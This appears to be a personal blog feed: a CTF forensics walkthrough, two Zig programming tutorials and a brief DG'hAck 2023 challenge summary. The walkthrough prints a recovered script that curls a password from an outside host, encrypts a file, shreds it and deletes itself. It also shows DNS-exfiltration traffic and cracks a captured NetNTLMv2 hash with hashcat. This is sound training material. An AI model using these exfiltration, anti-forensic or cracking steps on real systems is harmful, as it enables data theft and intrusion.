CCCCCCCCCCCTCCCCCFCCCCC[CCCCCOCCCCCRC...

Great, something to read. File contains C, T, F, [, etc. letters. The flag is hidden in it and quite easily to extract. After having giving it a think, I found out this is just a sequence that starts with CCCCCC, CCCCCT, CCCCCF, … until RRRRRR. If we rebuild the whole file and do a quick diff, we find out a CTF[OR] is breaking the sequence on byte 23472 of the file.

#!/usr/bin/env python

fd = open('file0')
contents = fd.read()
fd.close()

contents = list(contents)

res = []

def split_string(text, n=6):
    return [text[i:i+n] for i in range(0, len(text), n)]

res = split_string(contents, 6)

line = 0

chars = ['C', 'T', 'F', '[', 'O', 'R']

for r in res:
    if r[-1] != chars[line % 6]:
        print(line, ''.join(r))
        print("invalid")
        break
    line += 1

Running it:

$ python decode-dcc-file.py
3912 CTF[OR
invalid

$ dd if=file0 bs=6 skip=3912 count=2 2>/dev/null
CTF[OR]C[CCO

FTP files Link to heading

In tcp.stream eq 3, we observe a FTP connection and see that a file named corp_net1.pcap is downloaded.

In the next stream, we retrieve it:

$ file corp_net1.pcap
corp_net1.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
$ sha256sum corp_net1.pcap
c1118f1f96b0f86fbd42ffb120d415c7bc1a0a362e794c62c602a277d8b49752  corp_net1.pcap
$ eza -l corp_net1.pcap
.rw-r--r-- 23M mycroft 26 Oct 18:08 corp_net1.pcap

Great, another pcap file. Before checking it out, let’s finish the initial pcap.

In tcp.stream eq 5, there is another downloaded corp_net2.pcap file downloaded. Exporting from next stream gives us:

$ eza -l corp_net2.pcap ; file corp_net2.pcap ; sha256sum corp_net2.pcap
.rw-r--r-- 9.7M mycroft 26 Oct 18:13 corp_net2.pcap
corp_net2.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
944023687d287d63bd0c5355e7778239f963104e292c1ad1ad782acecef3f094  corp_net2.pcap

In tcp.stream eq 7, a file named disk1.img is downloaded. It is recoverable with stream 8.

$ eza -l disk1.img ; file disk1.img ; sha256sum disk1.img
.rw-r--r-- 1.0M mycroft 26 Oct 18:14 disk1.img
disk1.img: gzip compressed data, was "disk1.img", last modified: Tue Sep 24 07:55:43 2024, from Unix, original size modulo 2^32 1073741824
347f241ee5bebedaccf426c8d3b764836f524a30bb58217817bb8e2722b92c0c  disk1.img

In last stream, there is a wordlist.txt file to be retrieved.

$ eza -l wordlist.txt ; file wordlist.txt ; sha256sum wordlist.txt
.rw-r--r-- 2.1k mycroft 26 Oct 18:15 wordlist.txt
wordlist.txt: New Line Delimited JSON text data
fc7989a67cb29d67d9a785cf06ca4a29a0eeb6562a8f21c06fb7a03c6d042ee0  wordlist.txt

That’s a lot of investigation to go through! We have 6 flags to retrieve from all those files.

There is nothing else interesting in the initial pcap.

Studying corp_net1.pcap Link to heading

At first, I filter out all 443 traffic. I do not have any cert secret key, so most I won’t be able to decrypt any traffic. I find out there is more files exchanged. In tcp.stream 59, another FTP connection, with a file named puzzle.exe. I export it from stream 60:

$ eza -l puzzle.exe ; file puzzle.exe ; sha256sum puzzle.exe
.rw-r--r-- 19M mycroft 26 Oct 18:24 puzzle.exe
puzzle.exe: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections
3319e9fd2c3a50d8e41c753d58769480eaf1dde78b16f0e5c61da0d1d457ed2c  puzzle.exe

In stream 63, another ftp file downloaded: Recycle-bin.zip. We export it from stream 64:

$ eza -l Recycle-bin.zip ; file Recycle-bin.zip ; sha256sum Recycle-bin.zip
.rw-r--r-- 1.6M mycroft 26 Oct 18:30 Recycle-bin.zip
Recycle-bin.zip: Zip archive data, at least v2.0 to extract, compression method=store
f2bee1c1d7f8e0b884058f873b1b1ed01ffe255e44a8f2f801653efd6d7ffb2b  Recycle-bin.zip

Before going into the files, let’s finish with those strange DNS queries and the end of the capture

The whatyoulookingat.com DNS queries Link to heading

At the end of corp_net1.pcap, there is strange DNS traffic:

$ tcpdump -nr corp_net1.pcap | grep whatyoulookingat.com.
reading from file corp_net1.pcap, link-type EN10MB (Ethernet), snapshot length 262144
17:31:43.764873 IP 192.168.137.28.48583 > 192.168.137.2.53: 19218+ [1au] A? whatyoulookingat.com. (49)
17:31:43.764888 IP 192.168.137.28.48583 > 192.168.137.2.53: 57247+ [1au] AAAA? whatyoulookingat.com. (49)
17:31:43.765165 IP 192.168.137.2.57058 > 192.168.122.1.53: 2971+ [1au] AAAA? whatyoulookingat.com. (49)
08:20:50.470744 IP 192.168.137.28.34503 > 192.168.137.2.53: 21575+ A? whatyoulookingat.com. (38)
08:20:50.470756 IP 192.168.137.28.34503 > 192.168.137.2.53: 21799+ AAAA? whatyoulookingat.com. (38)
...

While the queries are ok, the response are not:

$ tcpdump -nr corp_net1.pcap src host 192.168.137.28 and dst host 195.200.72.82 and port 53
reading from file corp_net1.pcap, link-type EN10MB (Ethernet), snapshot length 262144
08:20:50.471478 IP 192.168.137.28.56964 > 195.200.72.82.53: 31315+ [1au] A? RFIE4RYNBINAUAAAAAGUSSCEKIAAAAUAAAAADYAIAIAAAAF2. (89)
08:20:53.538452 IP 192.168.137.28.44336 > 195.200.72.82.53: 58333+ [1au] A? WNF3GAAAAABXGQSJKQEAQCG34FH6. (69)
08:20:53.555226 IP 192.168.137.28.47311 > 195.200.72.82.53: 16553+ [1au] A? AAAABOKUSRCBKR4NV3O. (60)
08:20:56.622490 IP 192.168.137.28.48595 > 195.200.72.82.53: 34998+ [1au] A? 5LNJNWMAYQBIWBWA4FPXPFUQHMZUEUESZ23G37JDTTY5J2FU. (89)
08:20:57.668067 IP 192.168.137.28.34503 > 195.200.72.82.53: 11050+ [1au] A? CF75CJRZY. (50)
08:20:57.679981 IP 192.168.137.28.56527 > 195.200.72.82.53: 15131+ [1au] A? 5635X3INAAMOXQZGAAAACBQAAEDAABAYAACBQA. (79)
08:21:00.747867 IP 192.168.137.28.55154 > 195.200.72.82.53: 59070+ [1au] A? AQMAABAYAAICAACQEAAEAACBQAAEDAAAIGAACB. (79)
08:21:00.779779 IP 192.168.137.28.58865 > 195.200.72.82.53: 5965+ [1au] A? QAAEDAABA. (50)
08:21:02.839904 IP 192.168.137.28.42850 > 195.200.72.82.53: 31352+ [1au] A? YAACBQAAQEAAFAIAAIAAEDAAAIGAAAQMAAEDAAAIGAACBQAA. (89)
08:21:05.886265 IP 192.168.137.28.51307 > 195.200.72.82.53: 35761+ [1au] A? EDAABAIAAKAQAAQAAIG. (60)

There is something going on here.

I wrote a quick script to extract the data:

#!/usr/bin/env python

from scapy.all import *

packets = rdpcap("corp_net1.pcap")

contents = ''
id = 0

for packet in packets:
    if DNS not in packet or packet[UDP].dport != 53:
        continue

    if packet[IP].dst != "195.200.72.82":
        continue

    q = packet[DNS].qd.qname.decode('utf-8').replace('.', '')

    id = id + 1

    # for some reason, the thing breakes stuff.
    # but we can find the flag:
    if id == 157 or id == 160:
        continue

    contents = contents + q

print(contents)

Using it allows to recover a PNG file:

$ python decode-dns.py | base32 -d | file -
/dev/stdin: PNG image data, 640 x 480, 8-bit/color RGB, non-interlaced

$ python decode-dns.py | base32 -d > decoded-dns-file.png
$ file decoded-dns-file.png
.rw-r--r-- 3.0k mycroft 26 Oct 18:39 decoded-dns-file.png

Looking at the file allows getting a new flag: CTF[TOPPALUA]. That’s our 4th flag out of 9.

Recycle-bin Link to heading

Now, let’s take a look at Recycle-bin.zip. Unzipping it extracts a … windows recycle bin content. While searching for some indication of a flag in all the files, I find out this strange entry, and luckily the flag was there:

$ strings -e b \$I80Z3YX.txt
C:\Users\aleksej.pazjitnov\Downloads\INKEMW2QIVHFIT2NJFHE6U25.txt

$ echo -n INKEMW2QIVHFIT2NJFHE6U25 | base32 -d
CTF[PENTOMINOS]

5th flag: done.

the ‘archive’ file Link to heading

This one, well, this one. We start with the exported file:

$ file archive.raw
archive.raw: gzip compressed data, from Unix, original size modulo 2^32 847

$ sha256sum archive.raw ; eza -l archive.raw
951650d92079b81cda592034ee0989f373760d4366196a41320e7dd71e528dd0  archive.raw
.rw-r--r-- 860 mycroft 26 Oct 18:51 archive.raw

You’ll have to gunzip the file, only finding out there is another gz in it. And again, and again, and again. Sometimes, it will be a tar instead. untar, and again gunzip, and again and again and again.

Eventually, it will end with some txt file with the flag in it:

$ bat -p archive.gz
CTF[IRRITATING]

6 flags in, 3 to go.

Puzzle.exe Link to heading

Well this one. I took some time to go through because of my bad eyes. And because you need a Windows workstation.

Easy answer: run it, play the (badly) coded game, take a good look at the picture once ordered, especially at the books, and you’ll be able to read the flag: CTF[HAPPYBIRTHDAY]. That’s our 7th flag.

Now, I’ve done a bit more on this one. I’ve run pyinstxtractor.py on puzzle.exe to extract the game:

$ pyinstxtractor.py puzzle.exe
...
14926111 wheel-0.43.0.dist-info\entry_points.txt
14926188 zlib1.dll
14982324 pyi-contents-directory _internal
14982324 PYZ-00.pyz
[+] Found 214 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: puzzle_new.pyc
[+] Found 496 files in PYZ archive
[+] Successfully extracted pyinstaller archive: puzzle.exe
...

Our game is in puzzle_new.pyc. With some online tool like this one, I’ve extracted the code:

import base64
import io
from urllib.parse import urlparse
import pygame
import random

def uri_to_pygame_image(uri):
    parsed_uri = urlparse(uri)
    base64_string = parsed_uri.path.split(',')[1]
    image_data = base64.b64decode(base64_string)
    image_stream = io.BytesIO(image_data)
    image = pygame.image.load(image_stream, 'png')
    return image
pygame.init()
screen = pygame.display.set_mode((640, 480))
uri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABAAAAAQACAYAAAB/HSuDAAAABmJLR0QA/wD/AP
...
oNuVkS1cuG+3L8+hfpS9HHuAngSp0+P7IH3zmLK/zLU0Au3+Nn/8DrdpBTpBKQvcAAAAASUVORK5CYII='
image = uri_to_pygame_image(uri)
piece_width = 120
piece_height = 120
image_width, image_height = image.get_size()
num_rows = image_height // piece_height
num_cols = image_width // piece_width
pieces = []
for i in range(num_rows):
    for j in range(num_cols):
        piece = image.subsurface((j * piece_width, i * piece_height, piece_width, piece_height))
        pieces.append(piece)
random.shuffle(pieces)
window_width = image_width
window_height = image_height
window = pygame.display.set_mode((window_width, window_height))
pygame.display.set_caption('Search and you will find...')
font = pygame.font.Font(None, 36)
instructions = font.render('Click on a piece to move it to the top-left corner', True, (255, 255, 255))
current_piece_index = 0
running = True
while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        elif event.type == pygame.MOUSEBUTTONDOWN:
            mouse_x, mouse_y = pygame.mouse.get_pos()
            piece_index = mouse_y // piece_height * num_cols + mouse_x // piece_width
            pieces[0], pieces[piece_index] = (pieces[piece_index], pieces[0])
    for i in range(num_rows):
        for j in range(num_cols):
            piece_index = i * num_cols + j
            window.blit(pieces[piece_index], (j * piece_width, i * piece_height))
    window.blit(instructions, (10, 10))
    pygame.display.flip()
pygame.quit()

There is the image in it! You can also extract it with strings:

$ strings -n 200 puzzle_new.pyc | tr -d '\n' | sed -e 's/data:image\/png;base64,//' | base64 -d > picture.png

And you can get the flag the same way than if you play the game. No more Windows workstation required.

We have two flags remaining to find out.

corp_net2.pcap, the NTLM challenge Link to heading

Next, I’ve opened the last pcap file. I found out that there were some SMB and NTLM authentication attempt. Time to use hashcat and check if we can find out some flags!

I found out an OK webdav auth query in the pcap. It’s happening in tcp.stream eq 57.

I’ve created an hashes-webdav file extracting the server challenge and the client challenge and response:

$ cat hashes-webdav
CTF::LAB:fe26bf30955b64d7:a406a1570d0391d358354bb21df7d12e:0101000000000000158bece036fada0136c00153f7ab788b00000000020008004d00550044004a0001001e00570049004e002d0035004600560037004d004e0055004200410030004b00040014004d00550044004a002e004c004f00430041004c0003003400570049004e002d0035004600560037004d004e0055004200410030004b002e004d00550044004a002e004c004f00430041004c00050014004d00550044004a002e004c004f00430041004c000800300030000000000000000000000000200000fd6f62357ae25314e0b8f63ab17e5d1821479e68ec22e7ee70827eadb2f393200a001000000000000000000000000000000000000900200048005400540050002f00640063006300300031002e006c006f00630061006c000000000000000000

format is <user>::<group>::<server challenge>::<client challenge+response>

Running hashcat, using the given wordlist (remember!)

hashcat --show hashes-webdav wordlist.txt
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

CTF::LAB:fe26bf30955b64d7:a406a1570d0391d358354bb21df7d12e:0101000000000000158bece036fada0136c00153f7ab788b00000000020008004d00550044004a0001001e00570049004e002d0035004600560037004d004e0055004200410030004b00040014004d00550044004a002e004c004f00430041004c0003003400570049004e002d0035004600560037004d004e0055004200410030004b002e004d00550044004a002e004c004f00430041004c00050014004d00550044004a002e004c004f00430041004c000800300030000000000000000000000000200000fd6f62357ae25314e0b8f63ab17e5d1821479e68ec22e7ee70827eadb2f393200a001000000000000000000000000000000000000900200048005400540050002f00640063006300300031002e006c006f00630061006c000000000000000000:[RHODE_ISLAND_Z]

And that’s out CTF-less flag: [RHODE_ISLAND_Z].

Last file to investigate: disk1.img Link to heading

The last flag is likely in disk1.img! Let’s find out if the flag is in it.

So we start finding out what’s the file is, and try to mount it:

$ mv disk1.img disk1.gz
$ gunzip disk1.gz
$ file disk1
disk1: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x0,32,33), end-CHS (0x82,138,8), startsector 2048, 2095104 sectors

$ fdisk disk1
Welcome to fdisk (util-linux 2.40.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p

Device     Boot Start     End Sectors  Size Id Type
disk1p1          2048 2097151 2095104 1023M  c W95 FAT32 (LBA)

$ sudo losetup --partscan /dev/loop0 disk1
$ sudo ls -l /dev/loop0*
brw-rw---- 1 root disk   7, 0 Oct 26 20:37 /dev/loop0
brw-rw---- 1 root disk 259, 4 Oct 26 20:37 /dev/loop0p1

$ mkdir -p mnt ; sudo mount /dev/loop0p1 mnt
$ eza -l mnt/
.rwxr-xr-x 48 root 24 Sep 09:54 secret.encrypted

$ file mnt/secret.encrypted
mnt/secret.encrypted: openssl enc'd data with salted password

Okay, a single file, encrypted. No password. Let’s find out if we can find some deleted file.

$ sudo umount mnt
$ binwalk disk1

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
3170304       0x306000        Executable script, shebang: "/bin/bash"
3178496       0x308000        OpenSSL encryption, salted, salt: 0x1B70151F197C9A78

Okay, there is more stuff in it. I’ll use photorec to recover files:

... with photorec ...

Disk disk1 - 1073 MB / 1024 MiB (RO)
Partition Start End Size in sectors
P FAT32 0 0 1 130 138 8 2097152 [NO NAME]

2 files saved in /home/mycroft/dev/ctf-cert-se-2024/disk1/mnt/recup_dir directory.
Recovery completed.

2 files recovered! Let’s find out what are those:

$ ls -l mnt/recup_dir/
.rw-r--r-- 1,821 mycroft mycroft 26 Oct 20:39 report.xml
.rw-r--r--   228 mycroft mycroft 26 Oct 20:39 f0006192.sh
.rw-r--r--   939 mycroft mycroft 26 Oct 20:39 f0006200.txt

$ cat mnt/recup_dir/f0006192.sh
#!/bin/bash
password=$(SSLKEYLOGFILE=sslkeylogfile curl --insecure https://whatyoulookingat.com/1.txt)
openssl enc -aes-128-cbc -pass pass:$password -in secret -out secret.encrypted
shred secret
rm secret
rm sslkeylogfile
rm $0

$ cat mnt/recup_dir/f0006200.txt
SERVER_HANDSHAKE_TRAFFIC_SECRET cb68ed4293ea43b5ae0f949b7d36f9e801cdea8025cb8ce61b2226a1ba502118 c9275180cf4e5bcdd6835e02459d453d47420201b92ed20ed507e278d2c9616778fa573479bd8ec3b1fad7e74dcf27f7
EXPORTER_SECRET cb68ed4293ea43b5ae0f949b7d36f9e801cdea8025cb8ce61b2226a1ba502118 1c375d3b154029a9c7d9ff5b4f7f07b75ba9751570c454423cc6d21c53a27e504d3e193d3e087a6e1feb7c31383e637d
SERVER_TRAFFIC_SECRET_0 cb68ed4293ea43b5ae0f949b7d36f9e801cdea8025cb8ce61b2226a1ba502118 ba5519d408d2cc9c285781eec7c2951bfbf069609b57b18906754624e0628820ed1888d0f22b770325c872b5f1f5bee3
CLIENT_HANDSHAKE_TRAFFIC_SECRET cb68ed4293ea43b5ae0f949b7d36f9e801cdea8025cb8ce61b2226a1ba502118 c85ae912b5caf1eb39452864e582c083a39f4ad89f27608aff7bb3287edb85b002111af149480f28e0c60e543075dd7b
CLIENT_TRAFFIC_SECRET_0 cb68ed4293ea43b5ae0f949b7d36f9e801cdea8025cb8ce61b2226a1ba502118 3a6be8bc746c002fe02a76da433307d5787bf230b9d0c2ee9ab776a17459fd2f037e8bee0a1b26b759e1ba02879ae920

So we know how the file was created, and we have a TLS key debug log file.

Using wireshark, import this file in TLS protocol preferences, as the (pre)-master secret, and search for GET /1.txt.

You’ll find out the downloaded file’s content is ‘pheiph0Xeiz8OhNa’. So now, just use openssl to decrypt the file:

$ openssl enc -d -aes-128-cbc -pass pass:pheiph0Xeiz8OhNa -in secret.encrypted
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
CTF[OPPORTUNISTICALLY]

And that’s it!

Wrap-up Link to heading

All flags are:

CTF[AES128] ~ in IRC headers in the initial IRC connection
CTF[RICKROLL] ~ during the IRC chat
CTF[OR] ~ Found in the DCC file exchanged (why_not)
CTF[TOPPALUA] ~ in a PNG trasmit in DNS queries
CTF[PENTOMINOS] ~ in a base32 encoded file name in deleted metadata in the recycle-bin
CTF[IRRITATING] ~ in archive file, in a gz/gz/gz/gz/gz/tar/gz/gz/gz/gz and again file
CTF[HAPPYBIRTHDAY] ~ in puzzle.exe, playing the game, recreating the image and reading it
CTF[RHODE_ISLAND_Z] ~ (the one without the CTF); In a webdav authentication in corp2_net.pcap
CTF[OPPORTUNISTICALLY] ~ in an encrypted file in the disk1.img file

That was a nice easy CTF! Looking forward to solving the next ones next year :-)

Zig: Using fieldParentPtr

pm@mkz.me (Patrick MARIE) — Sun, 22 Sep 2024 10:33:01 +0200

fieldParentPtr can be useful in case it is required to create multiple kind of objects all based on a common type that can be passed to generic functions and then coerced to their original type. A usecase for this is a Value object that then will contain string, number, bool, function, instance when building a new language.

$ mkdir zig-objects && cd zig-objects
$ zig init
info: created build.zig
info: created build.zig.zon
info: created src/main.zig
info: created src/root.zig
info: see `zig build --help` for a menu of options

Defining the object in object.zig:

const std = @import("std");
const Allocator = std.mem.Allocator;

// Self is our Object struct/module that will be the root object for each our types
const Self = @This();

// Defining object types
pub const ObjType = enum {
    String,
};

// the root module is storing allocator used for creating objects, and object's type
// other things can be stored here as well, as long as they are common to all types
allocator: Allocator,
kind: ObjType,

// generic object creator, that will create parent object and will fill root object.
// this function will only be called from typed object new() function, so it will be
// private to the module
fn new(comptime T: type, allocator: Allocator, kind: ObjType) *T {
    const typed_obj = allocator.create(T) catch unreachable;

    // fill the root object
    typed_obj.obj = Self{
        .allocator = allocator,
        .kind = kind,
    };

    return typed_obj;
}

// a parent String object, with final value and root object
pub const String = struct {
    obj: Self,
    chars: []const u8,

    // String object creation
    pub fn new(allocator: Allocator, chars: []const u8) *String {
        const str_obj = Self.new(String, allocator, ObjType.String);

        str_obj.chars = allocator.dupe(u8, chars) catch unreachable;

        return str_obj;
    }

    pub fn destroy(self: *String) void {
        self.obj.allocator.free(self.chars);
        self.obj.allocator.destroy(self);
    }
};

// helpers for the String object
pub fn isString(self: *Self) bool {
    return self.kind == ObjType.String;
}

// asString takes a generic Object, and if it is a ObjType.String, returns the parent String
pub fn asString(self: *Self) *String {
    std.debug.assert(self.isString());
    return @fieldParentPtr("obj", self);
}

Adding a new kind of Object is as simple as adding a new ObjType, creating the struct, and adding helpers:

pub const ObjType = enum {
    String,
    Number,
};

pub const Number = struct {
    obj: Self,
    num: u32,

    pub fn new(allocator: Allocator, num: u32) *Number {
        const num_obj = Self.new(Number, allocator, ObjType.Number);

        num_obj.num = num;

        return num_obj;
    }

    pub fn destroy(self: *Number) void {
        self.obj.allocator.destroy(self);
    }
};

pub fn isNumber(self: *Self) bool {
    return self.kind == ObjType.Number;
}

// asNumber will retrieve from a generic root object its parent typed object
pub fn asNumber(self: *Self) *Number {
    std.debug.assert(self.isNumber());
    return @fieldParentPtr("obj", self);
}

Writing generic helpers is fairly easy as it is just a matter of adding switch cases:

const std = @import("std");

const Object = @import("object.zig");
const String = Object.String;
const Number = Object.Number;

pub fn dump(obj: *Object) void {
    switch (obj.kind) {
        Object.ObjType.String => std.debug.print("String: {s}\n", .{obj.asString().chars}),
        Object.ObjType.Number => std.debug.print("Number: {d}\n", .{obj.asNumber().num}),
    }
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{ .safety = true }){};
    defer _ = std.debug.assert(gpa.deinit() == .ok);
    const allocator = gpa.allocator();

    const str_obj = String.new(allocator, "testaroo");
    const num_obj = Number.new(allocator, 42);

    // std.debug.print("{}: {s}\n", .{ str_obj.obj.kind, str_obj.chars });
    // std.debug.print("{}: {d}\n", .{ num_obj.obj.kind, num_obj.num });
    dump(&str_obj.obj);
    dump(&num_obj.obj);

    str_obj.destroy();
    num_obj.destroy();
}

Building and running:

$ zig build run
String: testaroo
Number: 42

Resources Link to heading

First Steps With Zig

pm@mkz.me (Patrick MARIE) — Mon, 05 Aug 2024 18:24:53 +0200

So I’ve been look to code a bit more this summer. I spent the last year doing security challenges, then working a couple of months in some company that didn’t fit my needs, now I’m looking forward to learn some new tech, and I guess Zig would be my next personal challenge.

A few resources before going in Link to heading

Getting there Link to heading

So, I’ve done a first pass on ziglings (quite too quickly, as I’ve done all exercices during one single day). Main difficulty to me was those “strings” management (hint: there is no string management - yet- in Zig. Strings are []const u8 I guess, and you’ll have to do pointer conversion to work with those eventually). Anyway, I’ve started to build a mini ls program. You know, this thing to list file.

But let’s start with basics. I’ve installed Zig with home-manager, along with zls so I’ve got some help in code editor, and that’s it.

A basic annotated hello-world program will look like:

// the standard library is imported. "std" will be used for 
const std = @import("std");

// main must be public, it returns a void, with possibility to return an error (thanks to "!")
pub fn main() !void {
    // getting a stdout fd to write into; In a const, as the value won't change.
    const stdout = std.io.getStdOut().writer();
    // we try to print something. try means an error can be returned.
    try stdout.print("Hello world!", .{});
}

Without the annotations:

const std = @import("std");

pub fn main() !void {
    const stdout = std.io.getStdOut().writer();
    try stdout.print("Hello world!", .{});
}

Building is simple as calling zig build-exe:

$ zig build-exe hello-world.zig
$ eza --bytes --git --group --long -snew --group-directories-first
.rw-r--r--       144 mycroft mycroft  5 Aug 18:43 hello-world.zig
.rw-r--r-- 2,026,000 mycroft mycroft  5 Aug 18:44 hello-world.o
.rwxr-xr-x 2,239,816 mycroft mycroft  5 Aug 18:44 hello-world
$ ./hello-world
Hello world!

Writing something to list files Link to heading

Ok, we’ve got a running Zig compiler. Now is time to build ls.

A first try, my first try, was looking like:

const std = @import("std");

pub fn main() !void {
    const stdout = std.io.getStdOut().writer();

    const wd = std.fs.cwd();
    var dir: std.fs.Dir = wd.openDir(".", .{ .iterate = true }) catch |err| {
        try stdout.print("could not open directory: {any}", .{err});
        return;
    };

    // wd & dir are both "Dir" structures. However, "wd" returned by std.fs.cwd is not iterable.
    var it = dir.iterate();

    while (try it.next()) |entry| {
        try stdout.print("{s}\n", .{entry.name});
    }
}

I got some real issue with having 2 Dir structures pointing to the same directory. This works. But well…

Let’s try to open a directory but its absolute path. This requires using realpathAlloc, meaning we’ll have to create a memory allocator and free memory after use.

const std = @import("std");

fn get_cwd(allocator: std.mem.Allocator) ![]u8 {
    return try std.fs.cwd().realpathAlloc(allocator, ".");
}

pub fn main() !void {
    // getting an allocator that'll be used in realpathAlloc
    const allocator = std.heap.page_allocator;

    const stdout = std.io.getStdOut().writer();
    const stderr = std.io.getStdErr().writer();

    const wd = try get_cwd(allocator);
    defer allocator.free(wd);

    try stderr.print("current dir: {s}\n", .{wd});

    // our call to openDir with the iterate flag
    var iterable_dir = try std.fs.openDirAbsolute(wd, .{ .iterate = true });

    var it = iterable_dir.iterate();

    // actually listing files!
    while (try it.next()) |entry| {
        try stdout.print("{s}\n", .{entry.name});
    }
}

This will output:

$ zig build-exe ls.zig
$ ./ls
current dir: /home/mycroft/dev/zig-bla
hello-world.o
hello-world
hello-world.zig
ls.zig
ls.o
ls

Now would be a good time to sort the thing. We’ll have to store all entries, then sort them, thne print them. Sorting strings in Zig is not as easy as it should be. It is required to use std.mem.sort and build a compare function:


// ...

fn compareStrings(_: void, lhs: []const u8, rhs: []const u8) bool {
    return std.mem.order(u8, lhs, rhs).compare(std.math.CompareOperator.lt);
}

pub fn main() !void {
    // ...
    // the following is coming at the end of main
    var entries = std.ArrayList([]const u8).init(allocator);
    defer entries.deinit();

    while (try it.next()) |entry| {
        // entry is duplicated as the buffer is reused by next()
        try entries.append(try std.heap.page_allocator.dupe(u8, entry.name));
    }

    std.mem.sort([]const u8, entries.items, {}, compareStrings);

    for (entries.items) |entry| {
        try stdout.print("{s}\n", .{entry});
    }
}

This will show sorted files. Next step will be to print a little more metadatas of listed files:

pub fn main() !void {
    // ...
    for (entries.items) |entry| {
        const stat = iterable_dir.statFile(entry) catch {
            continue;
        };

        const file_type: u8 = switch (stat.kind) {
            std.fs.File.Kind.directory => 'd',
            std.fs.File.Kind.file => '.',
            std.fs.File.Kind.sym_link => 's',
            else => '?',
        };

        try stdout.print("{c} {d:8} {o} {s}\n", .{ file_type, stat.size, stat.mode % 0o1000, entry });
    }
    // ...
}

As a result:

$ ./ls
.  2239816 755 hello-world
.  2026000 644 hello-world.o
.      144 644 hello-world.zig
.  2367776 755 ls
.  2201576 644 ls.o
.     1546 644 ls.zig

Now that we have more details, we might want to have an argument flag to list only non hidden files, only filenames, etc. As a bonus, last unparsed argument will be used as directory to open.

pub fn main() !void {
    // ...
    var opt_long = false;
    var opt_hidden = false;
    var wd = try get_cwd(allocator);
    defer allocator.free(wd);

    for (std.os.argv[1..]) |arg| {
        const argf = std.mem.span(arg);

        if (std.mem.eql(u8, argf, "-l")) {
            opt_long = true;
        } else if (std.mem.eql(u8, argf, "-a")) {
            opt_hidden = true;
        } else {
            wd = try std.heap.page_allocator.dupe(u8, argf);
        }
    }

    // ...

    for (entries.items) |entry| {
        // ...

        if (!opt_hidden and entry[0] == '.') {
            continue;
        }

        // ...

        if (opt_long) {
            try stdout.print("{c} {d:8} {o} {s}\n", .{ file_type, stat.size, stat.mode % 0o1000, entry });
        } else {
            try stdout.print("{s}\n", .{entry});
        }
    }

It seems this does the job.

Last, I’m not really comfortable with the allocator. I’m afraid that something leaks. To check if nothing is wrong, I’ll use GeneralPurposeAllocator to check possible leak or errors. Make sure to replace all std.heap.page_allocator with allocator:

pub fn main() !void {
    // getting an allocator that'll be used in realpathAlloc
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer std.debug.assert(gpa.deinit() == .ok);

    const allocator = gpa.allocator();

    for (std.os.argv[1..]) |arg| {
        const argf = std.mem.span(arg);

        // ...
        } else {
            allocator.free(wd);
            wd = try allocator.dupe(u8, argf);
        }
    }
    defer allocator.free(wd);

    // ...
    while (try it.next()) |entry| {
        try entries.append(try allocator.dupe(u8, entry.name));
    }

    // ...
    for (entries.items) |entry| {
        defer allocator.free(entry);

        // ...
    }
}

If there is a double free, or leak, gpa.deinit() won’t be .ok and there will be some message print on output:

$ ./ls
...
error(gpa): memory address 0x753bfe1a2000 leaked:
/nix/store/5yk32f31879lfsnyv0yhl0af0v2dz9dz-zig-0.13.0/lib/zig/std/mem/Allocator.zig:319:40: 0x103b307 in dupe__anon_3893 (ls)
    const new_buf = try allocator.alloc(T, m.len);

If everything is all right, no error will be reported.

Wrap-up Link to heading

In this introductory article, a small ls implementation was quickly written in Zig. We sorted strings, played with command line arguments and memory using a basic heap allocator.

Source code for this article is available on github.

DG'hAck 2023: Damn CTF!

pm@mkz.me (Patrick MARIE) — Fri, 01 Dec 2023 11:58:41 +0100

I recently put myself into security again, and after having played a bit with root-me, we decided to take a serious look at the DG’hAck CTF. I found this year especially hard, way harder than in 2020 (or I’m getting older). There was a lot of different challenges, and this post sums-up them and how we solved them.

I wanted to write my resolution to the challenges, but as they went down, I could not reproduce nor do the correct level of writings I wished. So here is a sum-up with other people writeups instead.

Anyway, we (the #olschool team) finished first:

Feed This Dragon Link to heading

A simple javascript/json api game. It was purely code to write to automatize playing it (just click on the right elements, pay for upgrades, that kind of stuff), breaking multiple achievements and getting the flag at the end. writeup

CryptoNeat Link to heading

A web page with broken AES CTR key/nonce re-use. Once the vulnerability (2 ciphers starting with the same block, ie IV) and one plaintext found, the second was really easy to decrypt. writeup.

TicToc Link to heading

A classic in the CTF challenges. A password to guess, each good characters and the login takes 0.2 more seconds to validate than the other, retry until finding the password.

Wrongsomewhere Link to heading

A Windows ransomware to dissect to find out how to retrieve a key to decrypt files including the flag. writeup, writeup.

Infinite Money Glitch Link to heading

A website on which you win free money when viewing a video. Automatizing viewing and solving “captchas” (more like OCR with cv2) permited to grab the flag in a couple of minutes.

Plugin Again Link to heading

Basic web service with XSS/CSRF. writeup; writeup

Remove Before Flight Link to heading

A simple web service, with some blind sql injection (sqlmap helped), then some little crypto to break password, and finally a token to retrieve thanks to a local file injection.

Awesome Doc Converter Link to heading

Another web service with a redis & wkhtmltopdf to exploit.

AEgisSecureForge Link to heading

